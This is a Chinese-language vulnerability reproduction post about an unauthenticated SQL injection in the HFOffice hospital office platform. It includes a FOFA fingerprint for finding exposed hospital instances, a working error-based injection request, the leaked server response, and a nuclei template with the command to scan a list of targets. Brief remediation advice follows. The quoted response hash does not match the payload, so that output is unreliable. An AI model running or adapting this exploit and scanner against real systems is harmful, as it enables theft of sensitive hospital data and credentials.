01
—
漏洞名称
02
—
漏洞影响
红帆HFOffice医微云
03
—
漏洞描述
红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理,与企业微信全方位结合,提供协同办公、知识库、专家系统、BI等应用,进一步帮助医院移动办公落地,成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。
04
—
title
=
"HFOffice"
05
—
漏洞复现
向靶场发送如下数据包,poc中调用函数计算1234的md5值
GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(
32
),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=
4
dc296c6c69905a7 HTTP/
1.1
Host: x.x.x.x
User-Agent: Mozilla/
5.0
(Windows NT
5.1
) AppleWebKit/
537.36
(KHTML, like Gecko) Chrome/
34.0
.
1866.237
Safari/
537.36
Connection:
close
Accept: *
/*
Accept-Language: en
Accept-Encoding: gzip
响应数据包如下
HTTP/1.1
400
Bad Request
Connection
: close
Content-Length
: 64
Cache-Control
: private
Content-Type
: text/plain; charset=utf-8
Date
: Mon, 06 Nov 2023 09:26:23 GMT
Server
: Microsoft-IIS/10.0
X-Aspnet-Version
: 4.0.30319
X-Powered-By
: ASP.NET
在将 varchar 值
'E10ADC3949BA59ABBE56E057F20F883E'
转换成数据类型
int
时失败。
证明漏洞存在
06
—
nuclei poc
id
: hongfan-hfoffice-list-sqli
info:
name: 红帆OA HFOffice list处存在SQL注入漏洞
author: fgz
severity: high
description:
'红帆HFOffice医微云是广州红帆科技有限公司研发的专注医疗行政办公管理,与企业微信全方位结合,提供协同办公、知识库、专家系统、BI等应用,进一步帮助医院移动办公落地,成就面向医院管理的“智慧管理”。平台list接口处存在SQL注入漏洞,未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证,最终可能导致服务器失陷。'
tags:
2023
,HFOffice,sqli
metadata:
max-request:
3
fofa-query: title=
"HFOffice"
verified: true
http:
- method: GET
path:
-
"{{BaseURL}}/api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7"
matchers:
- type: word
words:
-
"81DC9BDB52D04DC20036DBD8313ED055"
condition:
and
运行POC
.nuclei.exe -t mypoc/红帆/hongfan-ioffice-
list
-sqli.yaml -l data/
1.
txt
07
—
修复建议
-
使用参数化查询:
- 使用参数化查询是避免SQL注入最有效的方法。参数化查询将用户提供的数据与SQL查询分开,从而防止攻击者将恶意代码注入查询。
使用ORM(对象关系映射)框架:
- 使用ORM框架,如Entity Framework(针对.NET应用程序)、Hibernate(针对Java应用程序)等,可以帮助防止SQL注入,因为它们会处理参数化查询。
验证和过滤输入数据:
- 对于用户提供的输入数据,进行严格的验证和过滤。确保只接受预期格式和类型的输入。
不信任用户输入:
- 不要信任用户输入数据。即使看似无害的数据也可能被滥用。对所有用户输入数据进行审查和验证,以确保安全性。
最小权限原则:
- 给数据库用户分配最小权限,以限制攻击者对数据库的访问范围。
避免直接拼接SQL查询:
- 避免将用户提供的数据直接拼接到SQL查询中。使用参数化查询或存储过程来执行数据库操作。
原文始发于微信公众号(AI与网安):HFOffice医微云SQL注入漏洞复现 nuclei poc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论